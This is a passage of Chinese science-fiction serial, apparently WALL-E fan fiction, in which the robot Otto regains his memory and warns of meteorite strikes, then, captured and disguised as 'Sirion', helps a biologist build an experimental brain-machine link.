思考变困难了。奥托顶着问题洪水艰难地顺着若隐若现的思路匍匐前进。 但是很快,若隐若现的思路也彻底淹没不见。 警报早就响个不停。梅目睹黄色逻辑浪潮从慢涌到涨潮,到布满整个监测图像,再出现橙色小点,小点扩大成不规则面的同时中央出现红色芯子,芯子也跟着橙色的步伐扩展。橙色扫平了实时监测所有范围,连蓝色记忆区和标注红色记忆区也不例外。红色也很快扩展范围。整个过程如同海啸一般,势不可挡。梅这时才通知露丝,让她赶紧回来。 光是红色布满监测图像尚不能说明问题,不断上升的核心温度才是危险所在。梅根据温度上升速率立刻作出判断,她启用了外源液冷装置。 不多一会儿,外面传来急匆匆的脚步声。随后露丝和劳伦斯冲了进来。 “到底发生了什么?”露丝一进门就说道。她猛地看向实时监测显示。不用看人形机器人,她已经知道了怎么回事。“该死,这东西到底响了多久?劳伦斯!你该死的调了警报音量?!”她冲向操作台。 “全红了老天!”劳伦斯也看到了实时监测的满屏红色。上面显示几乎所有连接被塞满,所有高级进程都停滞了。 “他在烧他自己!”露丝说,“你去旁边看看什么时候出现的情况,前面到底发生了什么!” 露丝发现所有的操作都无法进行。实在没有办法,她一咬牙,一层接一层地强行熄灭神经网络。红色的范围逐渐一层层剥离、缩小。露丝越剥越心虚,一层一层下来全是红色,没有任何迹象表明它的产生位置在何处。直到她剥到底,都没有一点渐变的橙色或黄色。只留下初始芯片永恒不变的亮蓝色最终从最后一层红色中显露出来。她瘫坐在椅子里。才意识到自己可能已经彻底报废了这个机器人。 等初始芯片自己慢慢点亮上面吧。露丝面如死灰地坐在椅子里,点亮了就知道咋回事了。现在能做的只有等。 “露丝。”旁边的瘦高男子轻轻推了一下她的肩膀。“没响多久。我们没有耽误时间。”他把记录拉回到变红之前,所有的变化一目了然。就算他们从一开始就一直盯着没有出去,也难以作出反应。 “显然是我们的对话导致了这种情况。”劳伦斯说。“他……他很可能真的从你说的某个点开始,开始了记忆重塑。” “嗯。”露丝瞪着蓝色区域逐渐点亮上层,进度相当缓慢。“可惜塑没塑成,其他的也跟着全丢了。” “你在逗我?”劳伦斯瞪着眼睛。 “我没开玩笑。”露丝说。“这下可以还给他们了。不亏。” 加载时间太长了,长得不可思议。露丝觉得这辈子都没有这几十分钟来的难熬。两个人静默地呆在房间里,没人出声。他们看到最后一层终于被重新点亮,都没发觉自己和对方不约而同起身,站在依然瘫在椅子上的人形金属躯体旁边。 遮光板重新打开。露丝和劳伦斯死死盯着单镜头其中微小的调焦动作。抬手的尝试让奥托意识到自己被禁锢得几乎动弹不得。但他还是以有限角度环视了实验室。最后定焦在两个人身上。 “你知道自己在O区吧,奥托?” 露丝忍不住出口。她发觉自己在紧张地等待机器人回应。 劳伦斯继续承担监督实时监测任务。他紧张地看着全息屏,发现原先红蓝两个记忆区已然融合成了一个,甚至找不到原先红色的轮廓,也没有感觉蓝色大了一圈。黄色的逻辑活动不同往常,此时成片占据了剩下的区域。 “竟然是你?”一个多月来一直缺乏感情的金属声里此时充满了震惊和愤怒。红光在光学镜中霎时亮起。 露丝忍不住抬起手捂住了嘴。惊喜、惊讶、难以置信混杂一气。她两脚霎时发软,禁不住跪倒在地,双手捧住金属面孔,“你终于恢复了!”她靠在机器人肩头,喜极而泣。 “哇,露丝,这简直是奇迹。祝贺你。”劳伦斯弯下身,当机器人眼中的红光是往常正常的、光线偏暗时的红外反应,握住没有被禁锢的机器人手,“也恭喜你。” 奥托没有回礼。劳伦斯愣了一下,霎时从手中传来剧烈的压痛。“不!”奥托同时扭头要挣脱露丝的手,颈部的限制迫使他不能甩开。 “松手!”劳伦斯扭曲着脸,死命掰着紧紧箍住他的金属手指。“露丝!梅!”他喊叫着。露丝震惊地看着那个正在发着鲜红光芒的单镜头。“有话好好说!先——松手!” “不!告诉我那份矿石在何处,给我同位素测年数据!”奥托依然不松手。 露丝赶忙叫梅拿起MB-16弹头对着机器人的手臂钉了下去。猛然的放电使得奥托不得不弹开手指。男人惨叫一声,从机器人身边一弹而起,随后倒地。露丝赶紧跑到前男友身边,梅紧急扫描了劳伦斯,确认电击没有让他心跳呼吸骤停,随后悬在半空中对奥托举起枪。 “你有什么毛病?”露丝对奥托吼道,“我们不可能知道这些!” “你把样品交给了谁,让我去找!” “不可能。”露丝说,“你只能呆在这里,哪里都不能去!” “那么可否请您屈尊替我问一句?”奥托眼中红光不散。 “奥托。”露丝郑重说,“一开始你就对陨石坑的事情遮遮掩掩。为什么你这么在意这个?” “这与你们无关。” “很好,不说,我就不帮你问。”露丝摊手,“还有半拉月你就呆这儿闷着,啊。” 机器人静默了。好一会儿,才发出一声沉重的叹息。“这里有我的驱动吧。”奥托说,“运行它。” 露丝让梅去启动程序。劳伦斯半坐在墙角撑起自己,手上一片暗红灼伤。他捂住胸口,不住地咳嗽。露丝抱着他,让他咳起来轻松些。“老天。”咳了好一大通后劳伦斯喘着气说。然后他抬起头,发现实时监测旁边出现新的全息屏。不对,这是一个立体的全息影像。从经纬线开始,球体从下往上覆盖上大陆、植被、红色三角和黑色箭头。 “简要概括,2535年后地球被接连不断的陨石袭击。”奥托眼中的红光早已熄灭,“我去取了5个陆上陨石坑的样本,为的是明确陨石下落间隔是否有规律。” “奥托,看起来你要预测下一次陨石下落事件。”劳伦斯有气无力地说。“我不是专家,但是陨石袭击是偶然事件,你要找规律实际上是无用功。” “一切说得通了。难怪你这么急着要修飞船。”露丝补充道。 “我曾花很长时间去质疑测同位素有无必要,一开始想的是,多此一举也无大碍。”奥托说,“但后来出去修撒哈拉深空防御工事,听说工事修好后突然误发防御核弹,而且方向不偏不倚朝向地球镇。我才认为确实有必要测同位素。” “我听说过这事。”露丝与劳伦斯对视一眼,说。“那天所有电子设备都出现了短暂失灵。” “为什么你后来觉得有必要了?”劳伦斯问。 “地面播报系统随着地球工事一起失效,失效后就有大量大质量陨石降落;人类一降落基本就能生存;向外求取的地球资料库来自太阳系中继站,而不是在收件后缀中明确提到的飞船电脑;历史卫星图看不出新发火山,看不出植被恢复,看不出新增陨石坑;核弹头有大半球面的方向可选,恰好选择概率几乎为零的这个方向误发。”奥托说,“我不否认小概率事件可以发生,但如此之多的小概率事件凑在一起,是否应当引起警觉?是否说明可能有深层次的原因导致这些,而我们并不知道?” “老天,难怪大区最近开始这么嚣张。”露丝说,“他们终于拿到完整的资料库了。” “你也不能证明,没有直接的证据。”劳伦斯对奥托说。 “所以在下一个突发事件发生之前,按优劣水平排序应对措施,有问题吗?”奥托冷冷说,“防御工事在修,尽管第一次失败;望远镜寻天体也在筹备;而我认为飞船是最后迫不得已但可以保证迅速撤离的底牌。所以,当露丝问我为什么坚持修飞船,我才会说尚不明确原因,但与A-113无关。” 露丝和劳伦斯没有作声。 “现在我总算对地球镇的整体状况有点概念了。”奥托继续说,“但你们人类分裂成什么样,几个群体之间的矛盾有多深,严格来说对我为生存局势进行判断、给出解决方案没有任何影响。露丝,如果你认为我曾对你隐瞒什么,这只是因为来这里之前,有人曾要求我隐瞒目的和数据。” “你……理应现在依然对我保密才是。”露丝说。 “愚蠢的政治需求。”劳伦斯喃喃道。 “现在这和‘利于生存’目的相悖。”奥托说。 露丝看着机器人,长叹一口气,没有说别的。 “我想你们应该理解这些。”奥托接着说。“我不在乎前两个月耽误了多少时间,也不在乎我自己发生了什么。没有紧急情况发生已是万幸。如果你们理解,把同位素测年数据给我。如果有价值,就能证明上述猜测并非杞人忧天,也能给人以警醒。”他说,“然后让我传达给该传达的人。现在取消力场固定,让我离开,我不会伤害任何人。” “我们完全能理解。”露丝说,“我们可以帮你去拿到数据,甚至也可以想办法替你传达给你想传达的人。但是,我们不能让你走。” “为什么?” 露丝长叹一口气。随后正视机器人。 “为了愚蠢的政治需求。”她严肃说道。 年轻的电子技师通过远程控制,从他们进门起看到了一切。生物电池马上就要耗尽,他让蜘蛛一瘸一拐爬进实验室角落中,让它们不为人知地默默地等待死亡。假如有人后来打扫到这些角落,才会发现这些不知多久之前就死在这里的蜘蛛,然后波澜不惊地把它们扫进垃圾桶。 24. 二十一 瞄准镜中,敌方指挥官正闲庭信步。时机还不到。他还在等。 自己都要上前线,想必情况已经很不妙了。 这边配合的人类已经给他发了信号。接下来随时都可以取目标头颅。目标再度进入瞄准镜,高功率激光无需计算风速。一道红光霎时亮起,穿透了指挥官的脑袋。穿透瞬间,那边一阵骚乱。 【目标消灭。】信标亮起,他仍不可掉以轻心。前一阵己方伤亡情报提示对方也有狙击手,搞不好目标之一也有他。他必须离开这里。果然,刚要离开之时,掩护石堆上突然熔化一小块。他已经被发现了。激光武器就是这点不好,太容易暴露射程和源头。 那边人类自求多福吧。事情变成要解决剩下的目标同时保命。红外图像显示对面的狙击手是人类。但那个人非常狡猾,利用建筑物掩藏自己的红外信号。只要他再发一枪,就可以立马知道那边的位置。科林计算着各种可能性,决定后退到沟内先行转移,优先诱敌现身。还好身上带了一支备用激光武器。他再度观察对面,红外光点没有移动。他设置自动射击时间,随后关闭所有通讯,潜入沟内。 自动射击的红光一线穿入建筑物,对面几乎同时作出反应,狙爆了那支自动激光枪。够了。科林已经知道对手的位置。他在对方狙击手射击刹那再度出击,正中那个暴露出来的红外源。红外源消失。但突然他发觉身后有动静,好像是子弹打在沙地里的声音。又来一个?他开始寻找射击源。身后一马平川,他全场扫描,却没有发现特征性红外放射源。 机器人?没有情报表明对方的机器人采用了信号屏蔽涂装,他们很早就把机器人挡在了交战圈外。对面也显然了解到这点,双方机器人都损失惨重。突然发展的涂装工艺?如果人类有反红外服装,肯定前面那个人类狙击手会优先使用。所以后面这个只能是机器人。全信息暴露模式下,对面几乎立刻学会了己方策略,但优先于己方发展倒是首次出现。 微型摄像头只提示刚刚那颗子弹最后进入沙地的轨迹,勉强能推出大致方向。他没有相对安全的引诱物了。突然,不远处银光一闪,他稍微偏离一点方向对其射击。就在此时另一颗子弹也从那个方向打了过来。依然只是打进沙地。【目标消灭】信标刚刚亮起,另一个弹窗却猝不及防出现。 【退出系统。】红标闪过他的中枢。他刚消灭对方,自己就败下阵来。 什么情况,子弹不是没打到身上吗。他还可以观战,只不过不可操作。科林调出战场情况,发现最后一颗子弹不是普通的子弹,是针对机器人运作的干扰源,无需上身即可令他停止运作。与此同时,方圆10米内被波及到的微型地射源也断开了与其他节点的链接。 如果身后有东西,怎么可能一直都没有发觉。科林思考同时寻找那个机器人狙击手,无比惊讶地发现距离仅有30米。机体没有采用涂装工艺。那是——敌方的EP机型。 太近了。科林查看了这个EP机型的行动轨迹,以确认是一直在原地等着,偶然发现他的存在,抑或一直在跟踪。结果发现是通过读取地射源得知他的存在。 既然是另一个狙击手,完全不需要靠那么近。这个登记为NPC的行为让科林摸不着头脑。他去后台看了一眼敌方EP数据,果然有了发现。它根本就不是NPC,有人在背后操纵。登陆者倒不掩饰自己的身份。见此科林立刻脱出了作战模拟系统。 “不得不说,你这个陆地机型是开挂的存在啊。”弗洛伊德舰长面对科林的当面询问,扬起一边嘴角。“随意读取地射源,热隐形,常规信号屏蔽,加上机器人的精准,就是天生的狙击手。” 机型资料最近才被附进模拟作战系统。自己的AI将其解锁如此之晚,让科林感到时间紧迫,不得不加紧训练熟悉。但他期望的是回到地球上不必落得换机体下场。 “靠那么近,是怕打不准么。”科林冷笑一声,低沉的机械音说。“然而,破枪法就是破枪法。什么机型都救不了你。” “哈哈哈,你居然生气了。不过不是因为打不准。我只是想看看距离你多近你才能发现我。”弗洛伊德舰长沉着脸说,“系统设置30米内机器人无论如何都能互相发现,那是我前进的极限。很不幸,你这个隐蔽的机型最终也葬送了你自己,因为你自己都不能发现你自己的存在。” 科林听罢,只望着窗外,默不作声。 奥托如愿得到了MN-BM4给回的数据。之前对此嗤之以鼻的劳伦斯见此有些动摇。陨石下落没有规律,平均大致100年3-5个左右,但并非从2535年地面播报失效起就有陨石降落,而是最近300年左右的事情,且有逐年增多趋势。奥托认为,太阳系可能在进入宇宙尘埃区,地球被尘埃区内留存的岩石攻击可能性在增加。但从始至终,奥托没有提修船的事。他只是希望这个结果能够传达给相关的人。露丝这次倒是很主动,说一定可以传达,他们也一定会重视这个信息。 “我来此的任务已完成。”奥托依旧被禁锢在椅子里,“鉴于你们依旧不愿让我离开,关于此事的后续调查无法继续进行。想必也无其他需要我参与的事务。”他继续说,“你们关闭我吧。” 露丝挑了下眉。“关掉你并不容易,因为你的系统没有手动关闭功能,还会自动上线,猜测是保护措施之一。”她说,“而我们强制断连高级进程的手段已知对你有影响,我不会冒这个风险。” 露丝写了一份报告,简要说明了这段时间关于感染QT-Ⅱ后的恢复工作以及从奥托身上获得的技术。她本以为自己的任务已经完成,大区很快就会派人来收回奥托。但她看到回复后震惊了。上面让她继续从这个机器人身上捞技术,同时要求她多从奥托那里套情报出来。情报?为什么?她敏锐觉察到其中有些蹊跷。她能有什么情报? 后来在与劳伦斯的聊天中她明白了。劳伦斯居然把奥托给的那份地球全息图发到了上面,并且上面同意了他与自己接下来的合作,也让他多套情报。这下上面发的文件终于有了解释。奥托说的那些联系她不尽认同,逻辑上并没有必然的因果关系。妄加因果关系是一向注重逻辑事实的O区最讨厌的事情,因此她没有把这个多出来的情报写在自己的报告里。没想到这种事情会引起重视,这不是O区的一贯作风。 鉴于上面决定把外交权交给别人,相当于给她罩了保护伞,劳伦斯一直念叨的也终于可以交给他做了。她对劳伦斯说她现在空闲了,可以让那个男孩过来烦她。 “搬家了搬家了。”劳伦斯让汉收拾好东西,“这俩月咋样,是不是感受到了生命的神奇?” “计算机中心那边搞定了?”汉朝神经质的瘦高生物学家瞥了一眼,“时间很准。刚好够你们把奥托给拆了。” “不知道你在说什么。”劳伦斯说,“嘿我说,你在这边学就老实一点,别到时候碰到个熟人就改主意了。”他靠着门框,“资源不是白给你的,听明白了?” “我明白。”汉说,“拆他的也不是你们。” 汉离开生命科学大楼时,有些意外地发现门口堆了一些箱子。那些箱子看起来很沉。一个EVE型号机器人飞出来,抱起一个箱子,正把它们搬进电梯。箱子后转出一个悬浮器,上面躺着一个人。这猛然引起了汉的注意。 伤者不去医院?他不禁停下。或许生命科学楼兼职医院?他定睛一瞧,那是一个被白大褂盖住的短发女人,此时好像还在昏迷中。她全身埋在力场箱中,一只手臂被绷带缠绕,双脚也被染红的绷带包绕。很年轻的面貌,略铜色皮肤,高鼻黑发,典型的希腊人。即使隔着白大褂,都能看出她的身材非常好。她个子不高,面容清爽,莫名其妙给汉一种很熟悉的感觉。但遍搜记忆,他根本不认识这个女人。飞船中数代“自由恋爱”的结果是所有人种都混合,她那种典型面貌给汉一种很不真实的感觉。不知为何,白大褂上放着一个小东西,理论上伤者身上不应该放其他物品。 少年这才意识到自己的心跳加速了。这时那个EVE型号机器人突然飞过来,汉心虚地连忙低下头去赶自己的路。余光却忍不住疾速掠了一下她。她是谁。汉发觉内心某处一直用这个问题敲打他,牵动他回去询问那个EVE型号机器人。最终他还是压制住了自己。 “你终于醒了。”劳伦斯叉着手,一脸严肃面对刚清醒过来的受伤女人。“全息拟装效果还不错。现在你关掉吧,要不是你抵抗逃跑,完全不需要惹这么多麻烦。” 希腊女人脸上一点表情都没有,只用犀利的目光盯着劳伦斯。她用健全的那只手按下白大褂上那个装置,丝毫没有破绽的精致面孔缓缓消失了,露出银色金属外壳。双腿褪去染红绷带,露出焦黑色的残端。高温令管道焦结,没有流出水银般的厚重液体。左臂也被削去外壳,露出里面熔化损坏的钩爪弹射器。其余未受波及的躯体上粘了很多白色辐条,金属面孔也不例外,就像浮刻在机体上的电路板线路。那是全息拟装系统的整合条。 “我拒绝参与你们的项目。”褪去伪装的人形机器人看了一眼在劳伦斯身后浮着的梅。 刚刚的情景涌上来。露丝告诉他接下来要做的事,给他贴上全息拟装系统。她表示相信他后放开了束缚。他瞅准空档开始逃跑,此时身后传来EVE型号特有的侧翼模式转换声,两发离子束正中双腿,瞬间火花四溅,他的行动能力被剥夺了。剧痛中,他几乎丧失了控制权。当他好不容易抬起手要通过发射钩爪逃离,另一发离子束打坏了弹射器。最后的影像是露丝接近了他,手中拿着以前被禁锢时用过的那个干扰器。 “你知道我的习惯,有一换一,做交易。”劳伦斯叉着手,看着奥托,“我不会让你白干活。这里也有你想知道的东西,急着走,反而对你没好处。” “凭什么相信你?”奥托的左手看着损害不大,却动弹不得。 “如果我说你猜的那个深层次原因是确实存在的呢?”劳伦斯挑起眉毛反问。“这不就是你前期做的一切工作之缘由?” “你没有证据。”奥托说。“这个交易不公平。” “实话说,俘虏没有公平不公平,同意与否你必须参与。但我保证,事成之后你一定有收获。如果事不成,你在这边肯定没有好果子吃。”劳伦斯指了下奥托的残肢,然后凑到奥托面前,说,“我这边已经有小道消息了,只不过我需要确认。现在已知的是,你们那场引起大减产的黑粉病,我们已经找到了媒介。”他盯着奥托深不可测的圆形镜头,“基因序列统一的玉米螟,早在BNL鼎盛时期就灭绝的害虫,现在出现了这么多克隆体。而且,它们携带了变异的黑粉病菌。” “克隆的玉米螟?” “显然不是我们生产的吧,我们不可能生造一个已经灭绝的物种。克隆来源只能是地球上的生物基因库,那种包含这类害虫基因的全库,就像保存古早病毒的病毒库一样。”劳伦斯见奥托动摇了,继续说,“已知的全库,最近的都远在北美内陆,而公理号没有人能去那么远,我们也没有人那么无聊,专门克隆这个物种来陷害你们,这样做百害而无一利。” “这东西哪儿来的?” “关键就在这里。哪儿来的呢?”劳伦斯站直,摊开两只手,“我们这些相对专业的人群中都有各种说法。有说北风飘过来的,有说鸟带过来的,还有说是附近的积水地里钻出来的。” “还是无头案子。” “一定不是无头案子。基因库的东西不可能自己变活,特别是这种宏观生物。”劳伦斯说,“而我知道这里肯定有人知道为什么,却连我们都不能告知。你要有疑惑,我只能告诉你,是人类的直觉。” 奥托沉默了很久。“你要做什么,说吧。” 劳伦斯歪起一边嘴角。这机器人妥协了。他拿起旁边一个全息平板,递给了奥托,说:“你先好好看完这一堆资料,补好基础和了解我们要做什么。”然后他指了一下固定在机器人腰间的小部件,“以后,全程隐藏,不得擅自返回原样。为了安全,我看着也顺眼。你上拟装时我只会叫你西芮安(Sirion)。” “还有什么规矩?”机械清冷的电子音随着拟装布满全身也变得圆滑。 “第二条,没事不要瞎问瞎答。”劳伦斯坐在沙发上说,“还有,这边人会比较复杂,很可能会碰到某些熟悉的面孔。如果真碰上了,全当不认识,OK?” “第三条,如果一切顺利,结束后有关这次实验的记忆必须清零,我会监督。万一出现紧急情况,记忆也必须清零。”劳伦斯说,“如果不清零,等待你的就是销毁。你自然不希望这样。” “暂时就这些。梅会协助我们,她已经清除之前的相关记忆了。都是干活的,自己的利益别想太多。我想你明白。”劳伦斯说。“赠品,就是给你修好轰坏的肢体。运气好的话还有其他维护。” “行。”拟装“西芮安”回应。 劳伦斯让梅重新上了束缚,然后离开房间,只留梅和希腊女人在里面。希腊女人沉默地阅读这些资料。突然她停下了动作。她伸手到耳后,拔出了通讯芯片。在O区内这芯片形同虚设。 世界一下子安静了。再也听不到永无止境的白噪音。西芮安把芯片收进子空间。继续面无表情地以非人类速度飞速阅读那些资料。 劳伦斯的实验设想非常疯狂。前面与露丝帮忙中,他意外发现奥托的仿生程度非常高。于是他决定利用奥托,完成他一直以来都因伦理问题无法完成的课题。他决定通过奥托的系统逆向推理人类高级神经活动,实现意识层面的交流。 简而言之,我能看到你所看的,听到你所听的,甚至也能感到你所想的。 这不是新的设想,但没有人愿意把它化为现实。它触及到几乎所有人的心理底线。没有人愿意彻底把内心暴露给他人。自然BNL没有相应的产品。劳伦斯也没有对任何人说完整的设想。对他而言,最终产物无需告知其他任何人,随便捞出过程中某一点即可引起不小的轰动。 劳伦斯认为意识是一种有序、可控的信息集合。无论是老鼠还是蚯蚓,甚至机器人,只要可控即可有意识。目前要解决的问题是这个信息集合如何产生,如何打破个体间的隔阂,让不同的信息产生交流。机械臂、人工义眼植入是低端的信息传递,交流内容较为简单。意识层面的交流能够传递巨大的信息量,以往任何媒介交流都将相形见绌。 他决定先让奥托与梅相连。机器人与机器人之间运作方式还是相近。加上奥托有成功与电脑联机的基础,成功率会比较高。 下令后2日,西芮安对劳伦斯报告她解决了联机控制问题。露丝和劳伦斯都到场了。西芮安解开前襟,略深色细腻肌肤中猛然弹起一个金属翘角,瞬间又被拟装光线埋没。她从中拔出一条线接入电脑。梅也与电脑连接。全息屏上显示同指令双连锁。劳伦斯看到梅抬起了白色羽毛般的右侧翼,与此同时西芮安的右手抬起。两者动作同时整齐。劳伦斯背着手,攥紧了手里的干扰器。如果梅突然被奥托转接朝他们俩开枪,他要保证自己及时按下那个干扰键。 视觉、运动感知连锁展示外观上毫无破绽。露丝开始对比自己之前有的数据,亲自上阵检查连锁可靠性。然后她对劳伦斯说,这些连锁是可靠的。西芮安接着解释,这与控制探测飞船原理类似。但问题是转交控制权后,对梅的运算负荷很重。 通过比对两个驱动,在露丝帮助下,劳伦斯弄明白了驱动中的代码含义。有相当大一部分是定位特殊信号源与界定电信号阈值,一旦解决了这两个问题,相同属性信息集合一对接,就可以实现共享。 他决定亲自上马。之前的心理活动脑电数据都有,可以大致推断脑区及强度,但从未在活人身上植入实验用传感器。他想起之前做实验鼠的时候,已经为了自己这项计划,设计出创伤极小的鼠用的传感器。它体积很小,外包厚厚的基质胶原,传感纤维不会切断原有神经细胞突起,植入后很可能被误认为长在脑膜上的肿瘤。但唯一不好之处在于,硬件支持的链接仅限于机械肢、听力和视力。即使后来有人用的,也最多如此。他没办法再求更多。 只要一个。他恳求露丝联系那边给弄一个运算能力能达到原先单一用途起码两个级数以上的微型芯片,他不求体积也那么小。然后他亲自进行胶原包装。分子夹将软传感纤维接入其中。他亲自培训露丝和两个机器人手术相关无菌操作,就在生命科学楼的某个密室中对自己实行了植入手术。 露丝不是主刀者,也不是助手。她在一旁监督两个机器人给自己前男友动刀。即使是前男友,她接受不了他的死亡。露丝留意到,西芮安的伤手可以活动了,此前没有经过任何维修。但她的下肢没有恢复趋势,正使用最原始的J型刀锋假肢站立。露丝表情淡漠,但心里一直祈祷不用按下干扰枷锁的按钮。虽然劳伦斯告诉她,死亡可能性很低,就算她首次缝合也不会置他于死地。 劳伦斯给自己打了局麻药,盯着照着自己前额的摄像头的画面,监督给自己的手术。西芮安用激光刀在劳伦斯前额颅骨上切出一个小孔,暴露出蛛网膜。找到下腔缝隙较宽之处,翻起蛛网膜,将玻璃管中的传感器推到膜上,就像一滴松油滴在上面。随后她盖回去。 “等30分钟。”劳伦斯紧抿嘴唇,盯着画面,强调道。掀开的一小块血红色的头皮就在面前。“固定了再走下一步。” 幸好固定没有失败。西芮安接入极细总传输丝,留在外面。目前暂时不用封颅,等调试完毕才可封闭颅腔。那个颅孔用软生物材料暂时覆盖。总传输丝连上细丝发射器,埋在头皮中,与头发浑然一体。手术顺利完成,露丝松了一口气。汗液浸透了她的手套,冰冷不已。 手术完成后劳伦斯休息了一日。他没有脑水肿症状,也没有感染化脓。他的大脑接纳了外来异物。接下来就是采集特定信号。西芮安捕捉并锁定信号源,根据劳伦斯所给的步骤,让高瘦生物学家集中精力,只想特定的情景,维持一段时间。有生物学家的设备,直接从皮质采集的信号筛掉了杂波,比大海捞针寻找信号阈简单许多。劳伦斯仔细检查了各个信号特征,与往常的脑外采集手册进行比对。一切都在预料之中。他长呼一气,但依旧无法放松表情。“西芮安,我这里看的是正常的,你按照筛选出的推荐选项先设计驱动。” “是。”西芮安拷贝了劳伦斯的数据,开始设计人机链锁驱动。劳伦斯离开了房间,临走前回头看了一眼伤残希腊女人。 当时设计这个驱动可是费了大半年功夫。现在最多只要2天。希腊女人重新被力场枷锁铐住。这次她没有联机,而是反常地叫梅给她拿了一个触板,她重新用起双手输入。梅在一旁浮着,例行监督她有没有反抗行为。希腊女人停下输入,朝密室的门望了一眼,最终没有多说什么。 “告诉劳伦斯,这个时间要比上次咱俩连接长一些。”西芮安对梅说。“长多少,我不清楚。” 梅如实转告了劳伦斯。 包装成西芮安的奥托知道自己肯定有什么地方不对劲了。 一种模模糊糊的感觉在他搜寻、锁定细丝发射器信号时就开始若隐若现,差点抓不住那个密室中最强烈的信号源。他提高了警惕,发现自己的思路时断时续。谨慎起见,他拒绝接入其他设备。 天知道他们有没有试过别的病毒。在触板上飞速输入的奥托想着。他很快证实了存在思路间断现象。他发现执行完一个项目后,自己不能马上想起前面执行过什么,需要上翻才能推理出后续。这样的情况从未发生过。考虑到现在的时间和露丝他们的实际水平,奥托认为现在他的时间恐怕不多了。他加快了输入的速度。 飞速敲击触板的声音骤然而止。奥托吃惊地看着自己悬在半空中敲不下去的手指,隶属于恢复的伤臂。另一只手倒是还能活动。他继续用剩下那只手输入,几分钟后,伤臂又能活动了,才结束了单手键入。伤臂失灵的情况接下来间断发生了好几次。 恐怕露丝是对的,前期干扰损坏了什么电子脑部位。但没理由会隔这么久出现。他飞速键入同时想着。同样没有理由用延时启动的病毒,而且还是在我还要为他们服务的这段时间发作。 当晚他给自己接上电源,打算边工作边充电。他需要争分夺秒,充电发热不过是同时工作的副产物。密室中分不清白天黑夜,只有内置时钟显示时间的流逝。这晚基本上就可以完成所有编译,加上第二天的逻辑复检,可能比预想的时间还要快。毕竟,这次仅仅只是交流需求。 一种烈日当头的感觉由内而外愈发明显,切断了他的注意。有一瞬间他突然看不懂自己刚才输入的内容,还剩双手机械地继续敲击。灼烈感迅速增强,他猛然明白了什么,抢在对自己失去控制最后一刹那拔除了电源线。西芮安的拟装影像突然跳灭,接着开始闪动。梅看到西芮安双手抱额,双目紧闭。如果旁边是个人,很快就能发现端倪。影像无法模拟急促呼吸。梅扫描了一下被禁锢的希腊女人,她正在利用双手给自己降温。 “你还好吗?”希腊女人终于放下手,睁开眼睛。梅见状问道。“需要呼叫露丝吗?” “现在好多了。”西芮安坐起来,却没有重新开始工作。“不,不要叫她过来。” 奥托检查了自己的电量剩余。34%。只能够维持最多2天。可能自己的散热也出了问题。他删除前段输入的明显错误内容,重新开始工作,速度比之前慢了很多。至少撑过这晚。驱动编译所剩无几,测试可以交给梅进行,如果劳伦斯实在想要速度,他已经帮不上更多忙了。 劳伦斯没想到,仅隔一夜,梅就给了他两条矛盾消息。处于谨慎,他联系了露丝。女计算机学家这次不耐烦地拒绝了他。 “驱动完成了,今天可以测试。”西芮安对单独前来的劳伦斯报告。 劳伦斯找了个位置坐下。西芮安将驱动上传入劳伦斯的设备,嘱咐他闭上眼睛。 “能听见吗?”闭眼中,劳伦斯突然听见低沉、清冷的话语。声音离得很近,仿佛就在他耳边。 他猛地睁眼,西芮安和梅都在2米开外。他发现西芮安也闭眼了。“梅,她刚刚说话了吗?”劳伦斯问。 “没有。”梅回答。 “听力连锁正常。”那个低沉清冷的声音再度在他耳边响起。与拟装设备不同的声音加上这次重复,劳伦斯确信了声音来自自己颅内的交互设备。 “下面测试视觉。”西芮安的声音再度响起。劳伦斯重新闭上眼睛。 一种奇怪的影像出现在他脑中,仿佛做梦。它从缠上绷带的染血双肢开始,上移,到旁边的键盘。他看到了立在右侧的梅,正平静地用LED蓝眼看着自己。视线由右到左环视密室一周,各个细节都很真实。有时他在将醒未醒之时,也会产生正凝望自己卧室天花板的梦境,也与现在一般真实。 画面转到密室左侧。他看到了在椅子上坐着、双目紧闭的自己。做梦不会梦到看见自己。他心中一惊。画面定格在这个角度。“看到自己了?”他听到西芮安的声音从左侧传来。 “看到了。”劳伦斯紧闭双眼,应该是怕有任何光线从自己是双眼中泄入,干扰了面前影像。 “视觉连锁正常。”西芮安说道。她看到劳伦斯的嘴型变化。 画面突然消失了。残影还在他脑袋里飘了好一阵。劳伦斯睁开眼睛。“现在是否到我来进行单向测试了?” “是的。”西芮安说。“理论上,听力连锁测试按照前期采集数据标准,关闭其他输入通道,用单一说话冲动激活传感器特定线路即可。” “我明白。”劳伦斯说。机器人比人容易做到这些。他闭上双眼。“准备好了?” “好了。”西芮安立即回应。 他集中精神,默默对着黑暗问道:“有声吗?” 没有回应。 “有声吗?”他不禁默声大吼。 还是没有听到任何回应。 “看起来这个不行。”他重新睁开眼睛,西芮安听此才起身望向他。“再试试视觉吧。”他闭回眼。人的情况果然比机器复杂得多。劳伦斯如此想。 视觉测试开始。他睁眼同时从椅子上站了起来,视线直接扫到西芮安身上。希腊女人靠在禁锢她的椅子上,闭着双目,面无表情。他看了一眼梅,洁白卵形机器人平静浮在他对面。没有反馈,他不知道自己看到的东西,西芮安看到没有。 “如果你确实看到我的动作,请做出反应。”不得已之下,他只能如此说。他随后伸出手,缓慢接近希腊女人的面颊。 希腊女人依旧双目紧闭。她伸出手,准确抓住劳伦斯的手腕。触感暴露了拟装之下冰冷坚硬的本质。“视觉连锁没问题。”西芮安依旧没有睁眼。“我可以通过红外热源的变化匹配你的动作。” 劳伦斯舒了一口气。“好。那么接下来请你说明前面听力连锁的通路匹配情况。”他说,“搞不好要重新采集信号。” 西芮安把编译内容呈现给劳伦斯,解释了选用的匹配通道及配对方式,与前期采集信号进行对比。劳伦斯思考良久,让她在后面补充一些通道组。她重新载入驱动,再度测试听力连锁。这次西芮安反映“听到”不甚清晰的声音。 “今天就到这里吧。”劳伦斯看了眼时间,说。“明天试试传输距离和障碍物阻拦后信号效果。我再考虑一下听力连锁为什么会出问题。” “劳伦斯?”他正要出门,西芮安叫住他。“为什么露丝今天没有来?” “她……今天有点忙,抽不出身。”他回想起早上露丝的拒绝,不禁撇撇嘴。同时诧异西芮安居然问这个。“你找她有啥事?” “我需要她的帮助。最好明天可以见到她。”西芮安说。劳伦斯看着一直没什么表情、仿佛生硬全息投影般的西芮安,点点头。 “可能是断肢切断了一部分冷却液循环。”露丝仔细检查过褪下全息拟装的机器人。“你的毛细液冷管道是一个整体。切断了……有些部分就没法循环。”她盯着深不见底的镜头,“前期对你进行过扫描,现在正在机械肢厂那里铸造你的肢体,借口是有人的小腿残疾。”她摇摇头,“你当时……实在是不应该逃跑。” 